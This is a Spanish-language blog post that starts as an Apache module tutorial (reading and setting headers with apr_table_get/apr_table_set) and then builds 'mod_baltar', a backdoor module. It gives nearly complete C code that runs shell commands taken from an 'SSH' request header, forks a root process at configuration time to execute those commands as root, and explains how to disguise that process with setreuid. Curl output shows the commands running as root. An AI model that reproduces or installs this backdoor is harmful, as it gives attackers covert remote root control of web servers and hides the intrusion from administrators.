systemadmin.es > Programación > Ejecución de comandos mediante headers HTTP: mod_baltar

Ejecución de comandos mediante headers HTTP: mod_baltar

Anteriormente vimos como programar un módulo de apache simple. Hoy vamos a ver como añadir y quitar headers mediante un modulo con apr_table_get y apr_table_set y un ejemplo de módulo (mod_baltar) como mediante un header en la petición HTTP podemos mandar comandos y recibir los resultados ejecutados tanto como usuario apache como usuario root.

Para obtener y definir headers en el proceso de una petición HTTP podemos usar las siguientes tablas de la estructura “request_rec“:

  • headers_in: Contiene los headers que ha mandado el cliente.
  • headers_out: Permite añadir headers a la respuesta que se le va a mandar al cliente.

Para obtener los headers simplemente se debe especificar la tabla y el nombre del headers que queremos obtener:

apr_table_get(r->headers_in,"Content-type");

Esto nos va a devolver un const char * al contenido del header. En el caso de querer añadir headers es equivalente pasando dos parámetros: Nombre del header y contenido del header:

apr_table_set(r->headers_out,"Ejemplo","header ejemplo");

Esto daría como resultado un header como este en la respuesta que recibiría el cliente:

Ejemplo: header ejemplo

La verdad es que tiene poca gracia si el servidor no contesta nada, así que lo primero que se me ocurrió fue añadir un header para que el servidor lo ejecutase y me devolviera mediante headers el resultado del comando usando popen:

fpipe = (FILE*)popen("ls","r");

He quitado partes del código por brevedad y por evitar un mal uso del mismo:

static int six_code (request_rec *r)
{

        const   char *ssh_header;
        FILE *fpipe;
        char line[256];
        char setheader[256];
        int count=0;

        ssh_header=apr_table_get(r->headers_in,"SSH");

        if(ssh_header!=NULL)
        {
                fprintf(stderr,"SSH: %s.\n",ssh_header);
                fflush(stderr);

                if( !(fpipe = (FILE*)popen(ssh_header,"r")) )
                {
                        return DECLINED;
                }

                while ( fgets( line, sizeof line, fpipe))
                {
                        sprintf(setheader,"CMD-%d",++count);

                        char *lolifizer=line;
                        while(*(lolifizer++)!=NULL)
                        {
                                if(*lolifizer=='\n') *lolifizer=' ';
                        }

                        apr_table_set(r->headers_out, setheader, line);
                }

                pclose(fpipe);

                apr_table_set(r->headers_out,"SSHout",ssh_header);
        }

        return DECLINED;
}

static void register_hooks(apr_pool_t *p)
{
        ap_hook_handler(six_code, NULL, NULL, APR_HOOK_MIDDLE);
}

Dicho código se ejecuta con los mismos permisos que tiene el apache, por lo que si mandamos un id veremos el usuario:

# curl -I localhost -H 'SSH: id'
HTTP/1.1 200 OK
Date: Fri, 11 Dec 2009 07:37:02 GMT
Server: Apache
CMD-1: uid=502(apache) gid=502(apache) groups=502(apache)
SSHout: id
Last-Modified: Fri, 23 May 2008 19:19:11 GMT
ETag: "5b813e-2d6-44de5acee71c0"
Accept-Ranges: bytes
Content-Length: 726
Content-Type: text/html

¿Es este el máximo nivel de privilegios que se puede obtener mediante un módulo de apache?

Generalmente se ejecuta el apache como root para “bindearse” al puerto 80 y luego rebajar los privilegios de los “apachitos” (procesos encargados de servir peticiones) a otro usuario.

Mientras lee la configuración el apache también se esta ejecutando como root, por lo que podríamos aprovechar para ejecutar comandos como root. Para ello simplemente debemos añadir un hook:

ap_hook_post_config(sixs_code_config, NULL, NULL, APR_HOOK_FIRST);

Y en él ejecutar un id para comprobar como se ejecuta como root:

static int sixs_code_config(apr_pool_t *p, apr_pool_t *log, apr_pool_t *temp, server_rec *s)
{
        system("id >/tmp/id_apache_baltar");
        return OK;
}

Como no podemos mandar la respuesta simplemente la guardamos en el /tmp:

# cat /tmp/id_apache_baltar
uid=0(root) gid=0(root)

Una vez tenemos privilegios de root, ya se transforma en un ejercicio de programación crear un apache con privilegios de root y comunicarse mediante pipes con los apachitos que sirven peticiones.

Primero deberemos definir algunas variables globales:

int pipe_commands[2];
int pipe_results[2];

#define BUFFSIZE 256
char buff[BUFFSIZE];

const char *userdata_key = "gaius_baltar";
const char *key_pipe_command_read  = "gaius_baltar_command_read";
const char *key_pipe_results_write = "gaius_baltar_results_write";
const char *key_ipc_rwlock = "gaius_baltar_lock_ipc";

const char *magic_end_of_file = "gaius_baltar_eof_magic";

A continuación lo que se puede hacer es mediante un fork crear un proceso con privilegios de root en el proceso de leer la configuración y comunicarse el resto de apaches mediante un par de pipes. Una pipe se puede usar para mandar comandos desde el apachito al apache con privilegios de root (aparootito) y otra para mandar los resultatos desde el aparootito al apachito:

static int sixs_code_config(apr_pool_t *p, apr_pool_t *log, apr_pool_t *temp, server_rec *s)
{
        void *data=NULL;
        void *pipedata=NULL;
        FILE *fpipe;

        const char *tempdir;

        apr_pool_userdata_get(&data, userdata_key, s->process->pool);

        if(data)
        {
                apr_pool_userdata_get(&pipe_commands[1], key_pipe_command_read , s->process->pool);
                apr_pool_userdata_get(&pipe_results[0], key_pipe_results_write, s->process->pool);

                return OK;
        }

        apr_pool_userdata_set((const void *)1, userdata_key, apr_pool_cleanup_null, s->process->pool);

        pipe(pipe_commands);
        pipe(pipe_results);

        apr_pool_userdata_set((const void *)pipe_commands[1], key_pipe_command_read , apr_pool_cleanup_null, s->process->pool);
        apr_pool_userdata_set((const void *) pipe_results[0], key_pipe_results_write, apr_pool_cleanup_null, s->process->pool);

        if(fork())
        {
                //papi
                close(pipe_commands[0]);        //no cal lectura
                close(pipe_results[1]);         //no cal escritura

                return OK;
        }
        else
        {
                //aparootito
                close(pipe_commands[1]);        //no cal escritura
                close(pipe_results[0]);         //no cal lectura

                for(;;)
                {
                        int bytes;
                        while((bytes=read(pipe_commands[0],buff,BUFFSIZE))>0)
                        {
                                if( !(fpipe = (FILE*)popen(buff,"r")) )
                                       continue;
                                char line[BUFFSIZE];

                                while ( fgets( line, sizeof(line), fpipe))
                                {
                                        int result_write=0;
                                        result_write=write(pipe_results[1],line,strlen(line)+1);
                                }
                                write(pipe_results[1],magic_end_of_file,strlen(magic_end_of_file)+1);
                               pclose(fpipe);
                        }
                }
        }
        return OK;
}

Por otro lado debemos añadir el código encargado de leer el comando (como usuario apache) y mandarlo al aparootito para que se ejecute como root:

static int sixs_code (request_rec *r)
{
       const   char *ssh_header;
       char line[BUFFSIZE];
       char frak;
       char setheader[BUFFSIZE];
       int count=0;
       int linecount=0;

       ssh_header=apr_table_get(r->headers_in,"SSH");

       if(ssh_header!=NULL)
       {
                fprintf(stderr,"SSH: %s.\n",ssh_header);

                int bytes=0;
                while((bytes=read(pipe_results[0],&frak,1))>0)
                {
                        if(frak!=0)
                        {
                                line[count]=frak;
                                count++;
                                continue;
                        }

                        line[count]=0;

                        count=0;
                        sprintf(setheader,"CMD-%d",++linecount);

                        if(strcmp(line,(char *)magic_end_of_file)==0)
                                break;

                        char *lol=line;
                        while(*(++lol)!=NULL)
                        {
                                if(*lol=='\n') *lol=' ';
                        }
                        apr_table_set(r->headers_out, setheader, line);
                }
               apr_table_set(r->headers_out,"SSHout",ssh_header);
       }

       fflush(stderr);
       return DECLINED;
}

A continuación con el modulo cargado podemos mandar un id y veremos como el comando se ejecuta como root:

# curl -I localhost -H 'SSH: id'
HTTP/1.1 200 OK
Date: Mon, 14 Dec 2009 06:56:57 GMT
Server: Apache
CMD-1: uid=0(root) gid=0(root)
SSHout: id
Last-Modified: Fri, 23 May 2008 19:19:11 GMT
ETag: "5b813e-2d6-44de5acee71c0"
Accept-Ranges: bytes
Content-Length: 726
Content-Type: text/html

En la lista de procesos podremos ver claramente como hay dos procesos apache ejecutándose como root:

root      3974  0.0  0.3   4088  2056 ?        Ss   21:33   0:00  |       \_ /usr/local/apache22/bin/httpd -DNO_DETACH
root      3977  0.0  0.1   3888   628 ?        S    21:33   0:00  |           \_ /usr/local/apache22/bin/httpd -DNO_DETACH
apache    3978  0.0  0.3   4092  1812 ?        S    21:33   0:00  |           \_ /usr/local/apache22/bin/httpd -DNO_DETACH
apache    3979  0.0  0.3   4092  1812 ?        S    21:33   0:00  |           \_ /usr/local/apache22/bin/httpd -DNO_DETACH
apache    3980  0.0  0.3   4092  1812 ?        S    21:33   0:00  |           \_ /usr/local/apache22/bin/httpd -DNO_DETACH
apache    3981  0.0  0.3   4092  1812 ?        S    21:33   0:00  |           \_ /usr/local/apache22/bin/httpd -DNO_DETACH 
apache    3982  0.0  0.3   4092  1812 ?        S    21:33   0:00  |           \_ /usr/local/apache22/bin/httpd -DNO_DETACH 

Resulta evidente la presencia de “algo raro“, pero esto no tiene porque ser así, se puede ocultar muy fácilmente mediante setreuid.

Podemos ver un ejemplo en el siguiente código:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
        printf("RUID=%d, EUID=%d\n",getuid(),geteuid());

        setreuid (0,502);

        printf("RUID=%d, EUID=%d\n",getuid(),geteuid());

        setreuid (0,0);

        printf("RUID=%d, EUID=%d\n",getuid(),geteuid());

        return 0;
}

Su salida sería la siguiente:

# ./a.out
RUID=0, EUID=0
RUID=0, EUID=502
RUID=0, EUID=0

Si ponemos un sleep después de setreuid(0,502) podremos ver como el proceso como si fuera del usuario apache:

apache    1196 25990 15 11:57 pts/0    00:00:01 ./a.out

Se podría integrar fácilmente, pero voy a dejar el mod_baltar aquí. Ya ha sido un fin de semana suficientemente entretenido 🙂

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>